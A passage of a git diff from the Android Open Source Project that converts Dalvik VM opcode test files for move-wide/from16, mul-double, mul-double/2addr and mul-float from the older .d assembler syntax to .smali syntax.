-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_8.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const-wide v0, 0
-       move-wide/from16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali
new file mode 100644
index 0000000..a266fb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/from16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d
deleted file mode 100644
index 8f7a9a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_1.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali
new file mode 100644
index 0000000..838b7fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_1.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d
deleted file mode 100644
index 99dd815..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v10, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali
new file mode 100644
index 0000000..46e2b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d
deleted file mode 100644
index 54a26c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_3.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       mul-double v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali
new file mode 100644
index 0000000..d55a1c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_3.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d
deleted file mode 100644
index 54df7a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_4.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       mul-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali
new file mode 100644
index 0000000..058c09c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_4.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d
deleted file mode 100644
index d3d6ec3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_5.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali
new file mode 100644
index 0000000..a4d45d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_5.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d
deleted file mode 100644
index 373a854..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_1.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali
new file mode 100644
index 0000000..cded4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d
deleted file mode 100644
index 05485d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_2.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v10, v14
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali
new file mode 100644
index 0000000..651431e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v14
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d
deleted file mode 100644
index d981779..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_3.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       mul-double/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali
new file mode 100644
index 0000000..8fbbb96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d
deleted file mode 100644
index 1654300..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_4.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       mul-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali
new file mode 100644
index 0000000..d1837d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d
deleted file mode 100644
index ef36f48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_5.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali
new file mode 100644
index 0000000..bffe82c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d
deleted file mode 100644
index 8be7048..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_1.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali
new file mode 100644
index 0000000..6280a50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_1.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d
deleted file mode 100644
index 2647599..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
